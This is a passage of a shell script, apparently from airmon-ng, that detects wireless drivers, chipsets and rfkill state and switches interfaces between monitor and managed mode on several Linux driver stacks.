if [ "${RFKILL}" = 0 ]; then
#immediately return if rfkill isn't supported
return 0
fi
if ! rfkill unblock "${1#phy}" 2>&1; then
rfkill_status="$(rfkill unblock "${index}" 2>&1)"
# it would be nice to refactor this, but it's easier this way
# shellcheck disable=2181
if [ $? != 0 ]; then
if [ "$(printf "%s" "${rfkill_status}" | grep -c "Usage")" -eq 1 ]; then
printf "Missing parameters in rfkill! Report this"
else
printf "rfkill error: %s\n" "${rfkill_status}"
fi
printf "Unable to unblock.\n"
return 1
fi
fi
sleep 1
return 0
}
setLink() {
if [ -x "$(command -v ip 2>&1)" ]; then
ip link set dev "${1}" "${2}" > /dev/null 2>&1 || printf "\nFailed to set %s %s using ip\n" "${1}" "${2}"
elif [ -x "$(command -v ifconfig 2>&1)" ]; then
ifconfig "${1}" "${2}" > /dev/null 2>&1 || printf "\nFailed to set %s %s using ifconfig\n" "${1}" "${2}"
fi
return
}
ifaceIsUp() {
if [ -x "$(command -v ip 2>&1)" ]; then
ifaceIsUpCmd="ip link show dev"
elif [ -x "$(command -v ifconfig 2>&1)" ]; then
ifaceIsUpCmd="ifconfig"
fi
if ${ifaceIsUpCmd} "${1}" 2>&1 | grep -q UP
then
return
else
return 1
fi
}
ifaceExists() {
if [ -x "$(command -v ip 2>&1)" ]; then
ifaceExistsCmd="ip link show dev"
elif [ -x "$(command -v ifconfig 2>&1)" ]; then
ifaceExistsCmd="ifconfig"
fi
if ${ifaceExistsCmd} "${1}" > /dev/null 2>&1
then
return
else
return 1
fi
}
startDeprecatedIface() {
# This function is here only for emergency. If a driver calls it, add it to the list.
# This function is currently called by: NOTHING
if [ "${WIRELESS_TOOLS}" = "1" ];then
if iwconfig "${1}" | grep -q 'Monitor'
then
printf "\t\t(Monitor mode already enabled for [%s]%s)\n" "${PHYDEV}" "${1}"
return
fi
setLink "${1}" down
iwconfig "${1}" mode monitor > /dev/null 2>&1
if [ -n "${2}" ]; then
if [ "${2}" -lt 1000 ]; then
iwconfig "${1}" channel "${2}" > /dev/null 2>&1
else
iwconfig "${1}" freq "${2}000000" > /dev/null 2>&1
fi
else
iwconfig "${1}" channel "${CH}" > /dev/null 2>&1
fi
iwconfig "${1}" key off > /dev/null 2>&1
setLink "${1}" up
printf "\t\t(monitor mode enabled)\n"
else
wireless_tools_whine
fi
}
changeMac80211IfaceTypeMonitor() {
iw dev "${1}" set type monitor > /dev/null 2>&1
setLink "${1}" up
printf "\t\t(monitor mode enabled)\n"
}
qcaldSafetyCheck() {
icnss_file="/sys/module/wlan/parameters/con_mode"
if [ ! -f "${icnss_file}" ]; then
printf "Unable to find %s which is needed to control mode.\n" "${icnss_file}"
printf "Is /sys mounted correctly?\n"
exit 1
fi
if [ ! -w "${icnss_file}" ]; then
printf "%s is present but we do not have write permission\n" "${icnss_file}"
printf "Unable to control mode, giving up\n"
exit 1
fi
}
changeQcacldIfaceTypeMonitor() {
#this is far too fragile for me, since it obviously doesn't
#work if you have multiple cards with this driver
#hopefully that never happens
qcaldSafetyCheck
echo 4 > /sys/module/wlan/parameters/con_mode
setLink "${1}" up
printf "\t\t(monitor mode enabled)\n"
}
yesorno() {
read -r input
case $input in
y) return 0 ;;
yes) return 0 ;;
n) return 1 ;;
no) return 1 ;;
*) printf "\nInvalid input. Yes, or no? [y/n] "
yesorno;;
esac
}
startMac80211Iface() {
#check if rfkill is set and cry if it is
rfkill_check "${PHYDEV}"
rfkill_retcode="$?"
case ${rfkill_retcode} in
1) printf "\t%s is soft blocked, please run \"rfkill unblock %s\" to use this interface.\n" "${1}" "${index}" ;;
2) printf "\t%s is hard blocked, please flip the hardware wifi switch (or in BIOS) to on.\n"a "${1}"
printf "\tIt may also be possible to unblock with \"rfkill unblock %s\"\n" "${index}"
if [ "${checkvm_status}" != "run" ]; then
checkvm
fi
if [ -n "${vm}" ]; then
printf "Detected VM using %s\n" "${vm_from}"
printf "This appears to be a %s Virtual Machine\n" "${vm}"
printf "Some distributions have bugs causing rfkill hard block to be forced on in a VM.\n"
printf "If toggling the rfkill hardware switch and \"rfkill unblock %s\" both fail\n" "${index}"
printf "to fix this, please try not running in a VM.\n"
fi
;;
3) printf "\t%s is hard and soft blocked, please flip the hardware wifi switch to on.\n" "${1}"
printf "\tIt may also be needed to unblock with \"rfkill unblock %s\"\n" "${index}" ;;
esac
if [ "${rfkill_retcode}" != 0 ]; then
printf "rfkill error, unable to start %s\n\n" "${1}"
printf "Would you like to try and automatically resolve this? [y/n] "
yesorno
retcode="$?"
if [ "${retcode}" = "1" ]; then
return 1
elif [ "${retcode}" = "0" ]; then
rfkill_unblock "${PHYDEV}"
fi
fi
#check if $1 already has a mon interface on the same phy and bail if it does
if [ -d "/sys/class/ieee80211/${PHYDEV}/device/net" ]; then
#this should be fixed, but it's not going to be right now
# shellcheck disable=2045
for i in $(ls "/sys/class/ieee80211/${PHYDEV}/device/net/"); do
if [ "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${i}/type")" = "803" ]; then
setChannelMac80211 "${i}"
printf "\t\t(mac80211 monitor mode already enabled for [%s]%s on [%s]%s)\n" "${PHYDEV}" "${1}" "${PHYDEV}" "${i}"
exit
fi
done
fi
#handle Qualcomm qcacld
if [ "${DRIVER}" = "icnss" ]; then
setLink "${1}" down
changeQcacldIfaceTypeMonitor "${1}"
setChannelMac80211 "${1}"
return
fi
#check if chipset has driver not under mac80211 stack
if [ "${DRIVER}" = "88XXau" ] || iw phy "${PHYDEV}" info | grep -q 'interface combinations are not supported'; then
#grumble grumble, seriously crap vendor driver
setLink "${1}" down
changeMac80211IfaceTypeMonitor "${1}"
setChannelMac80211 "${1}"
return
fi
#we didn't bail means we need a monitor interface
if [ ${#1} -gt 12 ]; then
printf "Interface %smon is too long for linux so it will be renamed to the old style (wlan#) name.\n" "${1}"
findFreeInterface monitor
else
if [ -e "/sys/class/net/${1}mon" ]; then
printf "\nYou already have a %smon device but it is NOT in monitor mode." "${1}"
printf "\nWhatever you did, don't do it again."
printf "\nPlease run \"iw %smon del\" before attempting to continue\n" "${1}"
exit 1
fi
#we didn't bail means our target interface is available
setLink "${1}" down
IW_ERROR="$(iw phy "${PHYDEV}" interface add "${1}mon" type monitor 2>&1)"
if [ -z "${IW_ERROR}" ]; then
sleep 1
if [ -r "/sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type" ] && [ "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${1}mon/type")" = "803" ]; then
setChannelMac80211 "${1}mon"
else
printf "\nNewly created monitor mode interface %smon is *NOT* in monitor mode.\n" "${1}"
printf "Removing non-monitor %smon interface...\n" "${1}"
stopMac80211Iface "${1}mon" abort
exit 1
fi
printf "\t\t(mac80211 monitor mode vif enabled for [%s]%s on [%s]%smon)\n" "${PHYDEV}" "${1}" "${PHYDEV}" "${1}"
else
printf "\nERROR adding monitor mode interface: %s\n" "${IW_ERROR}"
exit 1
fi
fi
if [ "${ELITE}" = "1" ]; then
#check if $1 is still down, warn if not
if ifaceIsUp "${1}"
then
printf "\nInterface %s is up, but it should be down. Something is interfering." "${1}"
printf "\nPlease run \"airmon-ng check kill\" and/or kill your network manager."
fi
else
isRPiWireless && iw "${1}" del
printf "\t\t(mac80211 station mode vif disabled for [%s]%s)\n" "${PHYDEV}" "${1}"
fi
}
isRPiWireless() {
HW_REV="$(grep Revision /proc/cpuinfo | awk '{print $3}')"
[ -z "${HW_REV}" ] && return 0
# http://www.raspberrypi-spy.co.uk/2012/09/checking-your-raspberry-pi-board-version/
# https://www.raspberrypi.org/documentation/hardware/raspberrypi/revision-codes/README.md
[ "${HW_REV}" = 'a22082' ] && return 1
[ "${HW_REV}" = 'a32082' ] && return 1
[ "${HW_REV}" = 'a52082' ] && return 1
[ "${HW_REV}" = 'a02082' ] && return 1
[ "${HW_REV}" = '9000c1' ] && return 1
[ "${HW_REV}" = 'a020d3' ] && return 1
[ "${HW_REV}" = '9020e0' ] && return 1
[ "${HW_REV}" = '9020e0' ] && return 1
[ "${HW_REV}" = 'a22083' ] && return 1
[ "${HW_REV}" = 'a020a0' ] && return 1
[ "${HW_REV}" = 'a220a0' ] && return 1
[ "${HW_REV}" = 'a02100' ] && return 1
[ "${HW_REV}" = 'a03111' ] && return 1
[ "${HW_REV}" = 'b03111' ] && return 1
[ "${HW_REV}" = 'c03111' ] && return 1
[ "${HW_REV}" = 'b03112' ] && return 1
[ "${HW_REV}" = 'b03114' ] && return 1
[ "${HW_REV}" = 'c03112' ] && return 1
[ "${HW_REV}" = 'c03114' ] && return 1
[ "${HW_REV}" = 'd03114' ] && return 1
[ "${HW_REV}" = 'c03130' ] && return 1
[ "${HW_REV}" = 'a03140' ] && return 1
[ "${HW_REV}" = 'b03140' ] && return 1
[ "${HW_REV}" = 'c03140' ] && return 1
[ "${HW_REV}" = 'd03140' ] && return 1
return 0
}
startwlIface() {
if [ -f "/proc/brcm_monitor0" ]; then
if [ -r "/proc/brcm_monitor0" ]; then
brcm_monitor="$(cat /proc/brcm_monitor0)"
if [ "$brcm_monitor" = "1" ]; then
printf "\n\t\t(experimental wl monitor mode vif already enabled for [%s]%s on [%s]prism0)\n" "${PHYDEV}" "${1}" "${PHYDEV}"
return 0
fi
fi
if [ -w "/proc/brcm_monitor0" ]; then
if printf "1" > /proc/brcm_monitor0; then
printf "\n\t\t(experimental wl monitor mode vif enabled for [%s]%s on [%s]prism0)\n" "${PHYDEV}" "${1}" "${PHYDEV}"
else
printf "\n\t\t(failed to enable experimental wl monitor mode for [%s]%s)\n" "${PHYDEV}" "${1}"
fi
else
printf "\n\tUnable to write to /proc/brcm_monitor0, cannot enable monitor mode.\n"
fi
else
printf "\n\tThis version of wl does not appear to support monitor mode.\n"
fi
}
#startDarwinIface() {
# if [ -x /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport ]; then
# if [ -n "${CH}" ] && [ ${CH} -lt 220 ]; then
# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport $1 sniff ${CH}
# else
# printf "Channel is set to none channel value of ${CH}
# fi
# fi
#}
setChannelMac80211() {
setLink "${1}" up
i=0
if [ -n "${CH}" ]; then
if [ "${CH}" -lt 1000 ]; then
if [ -r "/sys/class/net/$1/phy80211/name" ]; then
channel_list="$(iw phy "$(cat "/sys/class/net/${1}/phy80211/name")" info 2>&1 | awk -F'[][]' '$2{print $2}')"
hardware_valid_channel=1
for i in $channel_list; do
if [ "${CH}" = "${i}" ]; then
hardware_valid_channel=0
break
fi
done
if [ "${hardware_valid_channel}" = "1" ]; then
printf "Channel %s does not appear to be supported by %s hardware, defaulting to channel 3.\n\n" "${CH}" "${1}"
CH=3
fi
fi
IW_ERROR="$(iw dev "${1}" set channel "${CH}" 2>&1)"
else
if [ -r "/sys/class/net/$1/phy80211/name" ]; then
frequency_list="$(iw phy "$(cat "/sys/class/net/${1}/phy80211/name")" info 2>&1 | sed -nr 's/.*( |^)([0-9]+) MHz .*/\2/p')"
hardware_valid_freq=1
for i in $frequency_list; do
if [ "${CH}" = "${i}" ]; then
hardware_valid_freq=0
break
fi
print
done
if [ "${hardware_valid_freq}" = "1" ]; then
printf "Frequency %s does not appear to be supported by %s hardware, defaulting to 2422 Mhz.\n\n" "${CH}" "${1}"
CH="2422"
fi
fi
IW_ERROR="$(iw dev "${1}" set freq "${CH}" 2>&1)"
fi
else
printf "CH is unset, this should not be possible.\n"
exit 1
fi
if [ -n "${IW_ERROR}" ]; then
printf "\nError setting channel: %s\n" "${IW_ERROR}"
if printf "%s" "${IW_ERROR}" | grep -q '(-16)'; then
printf "Error -16 likely means your card was set back to station mode by something.\n"
printf "Removing non-monitor %s interface...\n" "${1}"
stopMac80211Iface "${1}" abort
exit 1
fi
if printf "%s" "${IW_ERROR}" | grep -q '(-22)'; then
printf "Unable to set channel/frequency %s, most likely it is outside of regulatory domain\n\n" "${CH}"
fi
fi
}
stopDeprecatedIface() {
# This function is here only for emergency. If a driver calls it, add it to the list.
# This function is currently called by: NOTHING
if [ "${WIRELESS_TOOLS}" = "1" ];then
if iwconfig "${1}" | grep -q 'Managed'
then
printf "\t\t(Monitor mode already disabled for [%s]%s)\n" "${PHYDEV}" "${1}"
return
fi
setLink "${1}" down
iwconfig "${1}" mode Managed > /dev/null 2>&1
setLink "${1}" up
printf "\t\t(monitor mode disabled)\n"
else
wireless_tools_whine
fi
}
changeMac80211IfaceTypeManaged() {
iw dev "${1}" set type managed > /dev/null 2>&1
setLink "${1}" up
printf "\t\t(monitor mode disabled)\n"
}
changeQcacldIfaceTypeManaged() {
#stupidly unsafe with more than one card, oh well
qcaldSafetyCheck
echo 0 > /sys/module/wlan/parameters/con_mode
setLink "${1}" up
printf "\t\t(monitor mode disabled)\n"
}
stopMac80211Iface() {
if [ -f "/sys/class/net/${1}/type" ]; then
if [ "${2}" != "abort" ] && [ "$(cat "/sys/class/net/${1}/type")" != "803" ]; then
printf "\nYou are trying to stop a device that isn't in monitor mode.\n"
printf "Doing so is a terrible idea, if you really want to do it then you\n"
printf "need to type 'iw %s del' yourself since it is a terrible idea.\n" "${1}"
printf "Most likely you want to remove an interface called wlan[0-9]mon\n"
printf "If you feel you have reached this warning in error,\n"
printf "please report it.\n"
exit 1
else
if [ "${DRIVER}" = "icnss" ]; then
changeQcacldIfaceTypeManaged "${1}"
return
fi
if [ "${DRIVER}" = "88XXau" ] || iw phy "${PHYDEV}" info | grep -q 'interface combinations are not supported'; then
#grumble grumble, seriously crap vendor driver
changeMac80211IfaceTypeManaged "${1}"
return
fi
if [ "${ELITE}" = "0" ]; then
need_sta=1
if [ -d "/sys/class/ieee80211/${PHYDEV}/device/net" ]; then
# this should be refactored, but it's very fragile so not today
# shellcheck disable=2045
for i in $(ls "/sys/class/ieee80211/${PHYDEV}/device/net/"); do
if [ -r "/sys/class/ieee80211/${PHYDEV}/device/net/${i}/type" ] && [ "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${i}/type")" = "1" ]; then
[ "${2}" != "abort" ] && printf "\n\t\t(mac80211 station mode vif already available for [%s]%s on [%s]%s)\n" "${PHYDEV}" "${1}" "${PHYDEV}" "${i}"
need_sta=0
fi
done
fi
if [ "${need_sta}" = "1" ] && [ -e "/sys/class/net/${1%mon}/phy80211/name" ]; then
if [ "$(cat "/sys/class/net/${1%mon}/phy80211/name")" = "${PHYDEV}" ]; then
printf "\nYou already have a %s device but it is NOT in station mode." "${1%mon}"
printf "\nWhatever you did, don't do it again."
printf "\nPlease run \"iw %s del\" before attempting to continue\n" "${1%mon}"
exit 1
else
printf "\nYou already have a %s device, but it is not on the same phy as %s.\n" "${1%mon}" "${1}"
printf "\nAttemping to pick a new name...\n"
findFreeInterface station
fi
fi
if [ "${need_sta}" = "1" ]; then
IW_ERROR="$(iw phy "${PHYDEV}" interface add "${1%mon}" type station 2>&1)"
if [ -z "${IW_ERROR}" ]; then
# The sleep below is to deal with when udev renames the interface we just created
# except it does it just slow enough that this check was passing before it did it.
# I don't want to add long sleeps here, but there isn't another way to deal with it.
sleep 1
interface="${1%mon}"
if [ -d "/sys/class/ieee80211/${PHYDEV}/device/net" ]; then
# this should be refactored, but it's very fragile so not today
# shellcheck disable=2045
for i in $(ls "/sys/class/ieee80211/${PHYDEV}/device/net/"); do
if [ "$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${i}/type")" = "1" ]; then
#here is where we catch udev renaming our interface
interface="${i}"
fi
done
fi
printf "\t\t(mac80211 station mode vif enabled on [%s]%s)\n" "${PHYDEV}" "${interface}"
else
printf "\n ERROR adding station mode interface: %s\n" "${IW_ERROR}"
fi
fi
fi
setLink "${1}" down
IW_ERROR="$(iw dev "${1}" del 2>&1 | grep "nl80211 not found")"
if [ -z "$IW_ERROR" ]; then
if [ "${2}" != "abort" ]; then
printf "\t\t(mac80211 monitor mode vif disabled for [%s]%s)\n" "${PHYDEV}" "${1}"
elif [ "${2}" = "abort" ]; then
printf "\nWARNING: unable to start monitor mode, please run \"airmon-ng check kill\"\n"
fi
else
if [ -f "/sys/class/ieee80211/${PHYDEV}/remove_iface" ]; then
printf "%s" "${1}" > "/sys/class/ieee80211/${PHYDEV}/remove_iface"
printf "\t\t(mac80211 monitor mode vif disabled for [%s]%s)\n" "${PHYDEV}" "${1}"
else
printf "\n\nERROR: Neither the sysfs interface links nor the iw command is available.\n"
printf "Please install the iw package from your distro, or download and install iw from\n%s\n" "${IW_SOURCE}"
fi
fi
fi
fi
}
stopwlIface() {
if [ -f "/proc/brcm_monitor0" ]; then
if [ -r "/proc/brcm_monitor0" ]; then
brcm_monitor="$(cat /proc/brcm_monitor0)"
if [ "$brcm_monitor" = "0" ]; then
printf "\n\t\t(experimental wl monitor mode vif already disabled for [%s]%s)\n" "${PHYDEV}" "${1}"
return 0
fi
fi
if [ -w "/proc/brcm_monitor0" ]; then
if printf "0" > /proc/brcm_monitor0; then
printf "\n\t\t(experimental wl monitor mode vif disabled for [%s]%s)\n" "${PHYDEV}" "${1}"
else
printf "\n\t\t(failed to disable experimental wl monitor mode for [%s]%s)\n" "${PHYDEV}" "${1}"
fi
else
printf "\n\tUnable to write to /proc/brcm_monitor0, cannot disable monitor mode.\n"
fi
else
printf "\n\tThis version of wl does not appear to support monitor mode.\n"
fi
}
getDriver() {
unset DRIVER
#standard detection path, this is all that is needed for proper drivers
#DRIVER=$(printf "$ethtool_output" | awk '/driver/ {print $2}')
#if $(modinfo -F filename ${DRIVER} > /dev/null 2>&1)
#then
# true
#else
# unset DRIVER
#fi
#if [ "$DRIVER" = "" ]
#then
if [ -f "/sys/class/net/$1/device/uevent" ]; then
DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' "/sys/class/net/${1}/device/uevent")"
fi
#fi
#here we test for driver usb, ath9k_htc,rt2870, possibly others show this
if [ "$DRIVER" = "usb" ]; then
BUSADDR="$(printf "%s" "${ethtool_output}" | awk '/bus-info/ {print $2}'):1.0"
if [ "$DEBUG" = "1" ]; then
printf "Warn ON: USB\n"
printf "%s\n" "${BUSADDR}"
fi
if [ -n "$BUSADDR" ]; then
if [ -f "/sys/class/net/${1}/device/${BUSADDR}/uevent" ]; then
DRIVER="$(awk -F'=' '$1 == "DRIVER" {print $2}' "/sys/class/net/${1}/device/${BUSADDR}/uevent")"
fi
fi
#here we can normalize driver names we don't like
if [ "$DRIVER" = "rt2870" ]; then
DRIVER="rt2870sta"
fi
if [ -f "/sys/class/net/${1}/device/idProduct" ]; then
if [ "$(cat "/sys/class/net/${1}/device/idProduct")" = "3070" ]; then
DRIVER="rt3070sta"
fi
fi
fi
if [ "$DRIVER" = "rtl8187L" ]; then
DRIVER="r8187l"
fi
if [ "$DRIVER" = "rtl8187" ] && [ "$STACK" = "ieee80211" ]; then
DRIVER="r8187"
fi
if [ "${DRIVER}" = "8812au" ] || [ "${DRIVER}" = "8814au" ] || [ "${DRIVER}" = "rtl88xxau" ] || [ "${DRIVER}" = "rtl88XXau" ]; then
DRIVER="88XXau"
fi
if [ "$DRIVER" = "rtl8812au" ]; then
DRIVER="8812au"
fi
#Here we will catch the broken lying drivers not caught above
#currently this only functions for pci devices and not usb since lsusb has no -k option
if [ "${MODINFO}" = "1" ]; then
if modinfo -F filename "${DRIVER}" > /dev/null 2>&1
then
true
else
save="${DRIVER}"
if [ -n "${DEVICEID}" ] && [ "${BUS}" = "pci" ]; then
DRIVER="$(lspci -d "${DEVICEID}" -k | awk '/modules/ {print $3}')"
fi
if [ -z "${BUS}" ] || [ "${BUS}" != 'sdio' ]; then
unset DRIVER
fi
if [ -n "${save}" ] && [ -z "${DRIVER}" ] ; then
DRIVER="${save}"
fi
fi
fi
if [ -z "${DRIVER}" ] ; then
DRIVER="??????"
fi
if [ "${DEBUG}" = "1" ]; then
printf "getdriver() %s\n" "${DRIVER}"
fi
}
getFrom() {
#from detection
FROM="K"
if [ "${MODINFO}" = "1" ] && [ -f /proc/modules ]; then
if modinfo -F filename "${DRIVER}" 2>&1 | grep -q 'kernel/drivers'
then
FROM="K"
#we add special handling here because we hate the vendor drivers AND they install in the wrong place
if [ "$DRIVER" = "r8187" ]; then
FROM="V"
elif [ "$DRIVER" = "r8187l" ]; then
FROM="V"
elif [ "$DRIVER" = "rt5390sta" ]; then
FROM="V"
elif [ "${DRIVER}" = "8812au" ] || [ "${DRIVER}" = "8814au" ]; then
FROM="V"
fi
elif modinfo -F filename "${DRIVER}" 2>&1 | grep -q 'updates/drivers'
then
FROM="C"
elif modinfo -F filename "${DRIVER}" 2>&1 | grep -q 'misc'
then
FROM="V"
elif modinfo -F filename "${DRIVER}" 2>&1 | grep -q 'staging'
then
FROM="S"
else
FROM="?"
fi
else
FROM="K"
fi
#maybe add an 'intree' check?
if [ "$DEBUG" = "1" ]; then
printf "getFrom() %s\n" "${FROM}"
fi
}
getFirmware() {
FIRMWARE="$(printf "%s" "${ethtool_output}" | awk '/firmware-version/ {print $2}')"
#ath9k_htc and intel firmware is a shorter version number than most so trap and make it pretty
if [ "${DRIVER}" = "ath9k_htc" ] || [ "${DRIVER}" = "iwlwifi" ]; then
FIRMWARE="$FIRMWARE\t"
fi
if [ "$FIRMWARE" = "N/A" ]; then
FIRMWARE="$FIRMWARE\t"
elif [ -z "$FIRMWARE" ]; then
FIRMWARE="unavailable"
fi
if [ "$DEBUG" = "1" ]; then
printf "getFirmware %s\n" "${FIRMWARE}"
fi
}
getChipset() {
#this needs cleanup, we shouldn't have multiple lines assigning chipset per bus
#fix this to be one line per bus
if [ -f "/sys/class/net/${1}/device/modalias" ]; then
# refactor this soon
# shellcheck disable=2166
if [ "${BUS}" = "usb" ]; then
if [ "${LSUSB}" = "1" ]; then
BUSINFO="$(cut -d ":" -f 2 "/sys/class/net/${1}/device/modalias" | cut -b 1-10 | sed 's/^.//;s/p/:/')"
CHIPSET="$(lsusb -d "${BUSINFO}" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
elif [ "${LSUSB}" = "0" ]; then
printf "Your system doesn't seem to support usb but we found usb hardware, please report this.\n"
exit 1
fi
#yes the below line looks insane, but broadcom appears to define all the internal buses so we have to detect them here
elif [ "${BUS}" = "pci" -o "${BUS}" = "pcmcia" ] && [ "${LSPCI}" = "1" ]; then
if [ -f "/sys/class/net/${1}/device/vendor" ] && [ -f "/sys/class/net/${1}/device/device" ]; then
DEVICEID="$(sed -e 's/0x//' "/sys/class/net/${1}/device/vendor"):$(sed -e 's/0x//' "/sys/class/net/${1}/device/device")"
CHIPSET="$(lspci -d "${DEVICEID}" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
else
BUSINFO="$(printf "%s" "${ethtool_output}" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')"
CHIPSET="$(lspci | grep "${BUSINFO}" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
DEVICEID="$(lspci -nn | grep "${BUSINFO}" | grep '[[0-9][0-9][0-9][0-9]:[0-9][0-9][0-9][0-9]' -o)"
fi
elif [ "${BUS}" = "sdio" ]; then
if [ -f "/sys/class/net/${1}/device/vendor" ] && [ -f "/sys/class/net/${1}/device/device" ]; then
DEVICEID="$(cat "/sys/class/net/${1}/device/vendor"):$(cat "/sys/class/net/${1}/device/device")"
fi
if [ "${DEVICEID}" = '0x02d0:0x4330' ]; then
CHIPSET='Broadcom 4330'
elif [ "${DEVICEID}" = '0x02d0:0x4329' ]; then
CHIPSET='Broadcom 4329'
elif [ "${DEVICEID}" = '0x02d0:0x4334' ]; then
CHIPSET='Broadcom 4334'
elif [ "${DEVICEID}" = '0x02d0:0xa94c' ]; then
CHIPSET='Broadcom 43340'
elif [ "${DEVICEID}" = '0x02d0:0xa94d' ]; then
CHIPSET='Broadcom 43341'
elif [ "${DEVICEID}" = '0x02d0:0x4324' ]; then
CHIPSET='Broadcom 43241'
elif [ "${DEVICEID}" = '0x02d0:0x4335' ]; then
CHIPSET='Broadcom 4335/4339'
elif [ "${DEVICEID}" = '0x02d0:0xa962' ]; then
CHIPSET='Broadcom 43362'
elif [ "${DEVICEID}" = '0x02d0:0xa9a6' ]; then
CHIPSET='Broadcom 43430'
elif [ "${DEVICEID}" = '0x02d0:0x4345' ]; then
CHIPSET='Broadcom 43455'
elif [ "${DEVICEID}" = '0x02d0:0x4354' ]; then
CHIPSET='Broadcom 4354'
elif [ "${DEVICEID}" = '0x02d0:0xa887' ]; then
CHIPSET='Broadcom 43143'
elif [ "${DEVICEID}" = '0x024c:0xb703' ]; then
CHIPSET='Realtek RTL8723CS'
else
CHIPSET="unable to detect for sdio ${DEVICEID}"
fi
else
CHIPSET="Not pci, usb, or sdio"
fi
#we don't do a check for usb here but it is obviously only going to work for usb
elif [ -f "/sys/class/net/${1}/device/idVendor" ] && [ -f "/sys/class/net/${1}/device/idProduct" ]; then
DEVICEID="$(cat "/sys/class/net/${1}/device/idVendor"):$(cat "/sys/class/net/${1}/device/idProduct")"
if [ "${LSUSB}" = "1" ]; then
CHIPSET="$(lsusb | grep -i "${DEVICEID}" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
elif [ "${LSUSB}" = "0" ]; then
CHIPSET="idVendor and idProduct found on non-usb device, please report this."
fi
elif [ "${DRIVER}" = "mac80211_hwsim" ]; then
CHIPSET="Software simulator of 802.11 radio(s) for mac80211"
elif printf "%s" "${ethtool_output}" | awk '/bus-info/ {print $2}' | grep -q bcma; then
BUS="bcma"
if [ "${DRIVER}" = "brcmsmac" ] || [ "${DRIVER}" = "brcmfmac" ] || [ "${DRIVER}" = "b43" ]; then
CHIPSET="Broadcom on bcma bus, information limited"
else
CHIPSET="Unrecognized driver \"${DRIVER}\" on bcma bus"
fi
else
CHIPSET="non-mac80211 device? (report this!)"
fi
if [ "${DEBUG}" = "1" ]; then
printf "getchipset() %s\n" "${CHIPSET}"
printf "BUS = %s\n" "${BUS}"
printf "BUSINFO = %s\n" "${BUSINFO}"
printf "DEVICEID = %s\n" "${DEVICEID}"
fi
}
getBus() {
if [ -f "/sys/class/net/${1}/device/modalias" ]; then
BUS="$(cut -d ":" -f 1 "/sys/class/net/${1}/device/modalias")"
fi
if [ "${DEBUG}" = "1" ]; then
printf "getBus %s\n" "${BUS}"
fi
}
getStack() {
if [ -z "$1" ]; then
return
fi
if [ -d "/sys/class/net/${1}/phy80211/" ]; then
MAC80211="1"
STACK="mac80211"
else
MAC80211="0"
STACK="ieee80211"
fi
if [ -e "/proc/sys/dev/${1}/fftxqmin" ]; then
MAC80211="0"
STACK="net80211"
fi
if [ "${DEBUG}" = "1" ]; then
printf "getStack %s\n" "${STACK}"
fi
}
getExtendedInfo() {
#stuff rfkill info into extended if nothing else is there
rfkill_check "${PHYDEV}"
rfkill_retcode="$?"
if [ "${rfkill_retcode}" = "1" ]; then
EXTENDED="rfkill soft blocked"
elif [ "${rfkill_retcode}" = "2" ]; then
EXTENDED="rfkill hard blocked"
elif [ "${rfkill_retcode}" = "3" ]; then
EXTENDED="rfkill hard and soft blocked"
fi
if [ "$DRIVER" = "??????" ]; then
EXTENDED="\t Failure detecting driver properly please report"
fi
#first we set all the real (useful) info we can find
if [ -f "/sys/class/net/${1}/device/product" ]; then
EXTENDED="\t$(cat "/sys/class/net/${1}/device/product")"
fi
#then we sweep for known broken drivers with no available better drivers
if [ "$DRIVER" = "wl" ]; then
if [ -f "/proc/brcm_monitor0" ]; then
EXTENDED="Experimental monitor mode support"
else
EXTENDED="No known monitor support, try a newer version or b43"
fi
fi
if [ "$DRIVER" = "brcmsmac" ]; then
EXTENDED="Driver commonly referred to as brcm80211 (no injection yet)"
fi
if [ "$DRIVER" = "r8712u" ]; then
EXTENDED="\t\t\t\tNo monitor or injection support"
fi
#lastly we detect all the broken drivers which have working alternatives
if [ "${KVMAJOR}" -lt 26 ]; then
printf "You are running a kernel older than 2.6, I'm surprised it didn't error before now."
if [ "$DEBUG" = "1" ]; then
printf "%s %s\n" "${KVMAJOR}" "${KVMINOR}"
fi
exit 1
fi
if [ "$DRIVER" = "rt2870sta" ]; then
if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ]; then
EXTENDED="\tBlacklist rt2870sta and use rt2800usb"
else
EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable"
fi
#add in a flag for "did you tell use to do X" and emit instructions
elif [ "$DRIVER" = "rt3070sta" ]; then
if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "35" ]; then
EXTENDED="\tBlacklist rt3070sta and use rt2800usb"
else
EXTENDED="\tUpgrade to kernel 2.6.35 or install compat-wireless stable"
fi
elif [ "$DRIVER" = "rt5390sta" ]; then
if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "39" ]; then
EXTENDED="\tBlacklist rt5390sta and use rt2800usb"
else
EXTENDED="\tUpgrade to kernel 2.6.39 or install compat-wireless stable"
fi
elif [ "$DRIVER" = "ar9170usb" ]; then
if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ]; then
EXTENDED="\tBlacklist ar9170usb and use carl9170"
else
EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable"
fi
elif [ "$DRIVER" = "arusb_lnx" ]; then
if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "37" ]; then
EXTENDED="\tBlacklist arusb_lnx and use carl9170"
else
EXTENDED="\tUpgrade to kernel 2.6.37 or install compat-wireless stable"
fi
elif [ "$DRIVER" = "r8187" ]; then
